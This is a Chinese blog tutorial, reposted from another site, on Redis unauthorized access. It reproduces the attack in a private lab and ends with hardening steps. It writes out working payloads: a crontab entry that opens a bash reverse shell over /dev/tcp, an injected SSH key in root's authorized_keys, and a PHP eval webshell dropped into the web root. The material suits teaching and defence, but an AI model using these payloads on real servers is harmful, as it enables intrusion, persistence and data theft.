未授权访问漏洞原理及复现

本文转自行云博客https://www.xy586.top/

未授权访问

前提知识

ssh免密登录

客户端

进入.ssh文件cd .ssh/

生成公私钥ssh-keygen -t rsa

上传公钥到服务端 ssh-copy-id user@ip

更改.ssh目录跟私钥的权限

chmod 700 .ssh/

chmod 600 .ssh/id_rsa

服务端

进入.ssh/文件,查看authorized_keys文件是否与客户端的id_rsa.pub文件一致

更改authorized_keys文件权限

chmod 600 .ssh/authorized_keys

安装Redis数据库

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

centos7.x安装redis数据库

yum install -y gcc wget

wget http://download.redis.io/releases/redis-3.2.0.tar.gz	#安装

tar xzf redis-3.2.0.tar.gz	#解压

cd redis-3.2.0	#进入目录

make	#编译

cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin #将命令移动到用户命令下

cp redis-conf /etc/	#将改配置文件移动到/etc目录下

vim /etc/redis-conf	#修改配合文件,使其可以远程访问
bind 127.0.0.1前面加上#号  
protected-mode设为no

redis-server redis-conf	#启动redis服务

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件

Redis语法

连接redis:  
redis-cli -h 192.168.232.133
查看redis版本信息、一些具体信息、服务器版本信息等等:  
192.168.232.133:6379>info
将变量x的值设为test:  
192.168.232.133:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!  
192.168.232.133:6379>flushall
查看所有键:  
192.168.232.133:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.232.133:6379>CONFIG GET dir
192.168.232.133:6379>CONFIG GET dbfilename

config set 动态调整Redis服务器的配置

原理

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。  目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。

攻击复现

靶机(centos):192.168.232.133

攻击机(kali):192.168.232.131

利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell

先攻击机上监听2333端口

nc -lvvp 2333

然后再开一个攻击机的会话,连接redis执行payload

config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.131/2333 0>&1\n"
save

在这里插入图片描述

在这里插入图片描述

此方法获取的shell似乎缺少了很多东西

写ssh-keygen公钥然后使用私钥登陆

利用条件

redis对外开放,且是未授权访问状态

redis服务ssh对外开放,可以通过密钥登入

ssh-keygen -t rsa #创建密钥
cat .ssh/id_rsa.pub#输出密钥文件

在这里插入图片描述

kali连接Redis服务器并将密钥发送到靶机

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqj2vwiHfdeMp64uHUFoJ0xhnblfS4s+CbrkCgkQ3nCiTOYL6Y62W7ipuObngJO3lP6GnSacF/NDxBDKEAzLYjFhN7S4fs/sJKqZNP9feIdGSRCpgpAj072IUxqmBIWu4Yz6inzhbmStLFxIJ4oO3/3/20qnRMIlmZRzOeHKcWbd99pM+99k15p9ONDHmpFKBZILtumzJODbq32UyWkrfN7L6n/OuxB5IHv82eIJ0ZATxEJIK5QAjww3qGndMOmj8oMxPh5DXndtrEmLYeJslv9xioAdzvjzsqybaMnwSUlDJOuEuu8vf8Ad9vsaypNDlMvTlO73xCxTJvCcOA/dFCo1wobURjOIv+YjKjaGqezNWtRs0YbqV4cjCSlaEaUdtso+wAa2VnqyNueFvFWHnhXr8TnItkOR0300oaJlFVvCDISuYepr1EQMgoskkBURcQnKJBrTjOkJdijLwoIk0DJN0SXCI+4Y1yfdJ3FfRY8do0Q4cVDRVS+GGqwsjK0UU= root@kali\n\n\n"
save

在这里插入图片描述

在这里插入图片描述

往web物理路径写webshell

利用条件

目标机关闭了只能本机访问

目标机开启了web服务,知道web的路径以及具有写权限

config set dir /var/www/html
config set dbfilename webshell.php
set x "<?php @eval($_POST['cmd'])?>"
save

在这里插入图片描述

访问http://192.168.232.133/webshell.php,有回显,此时用蚁剑连接

在这里插入图片描述

查看靶机的网站目录也发现了该木马文件

在这里插入图片描述

防御方法

到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放

bind 127.0.0.1

2、添加登陆密码

修改 redis.conf 文件,添加 requirepass mypasswd

3、在需要对外开放的时候修改默认端口(端口不重复就可以)

port 2344

4、以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

5、最后还可以配合iptables限制开放

猜你喜欢

转载自blog.csdn.net/qq_41679358/article/details/108227070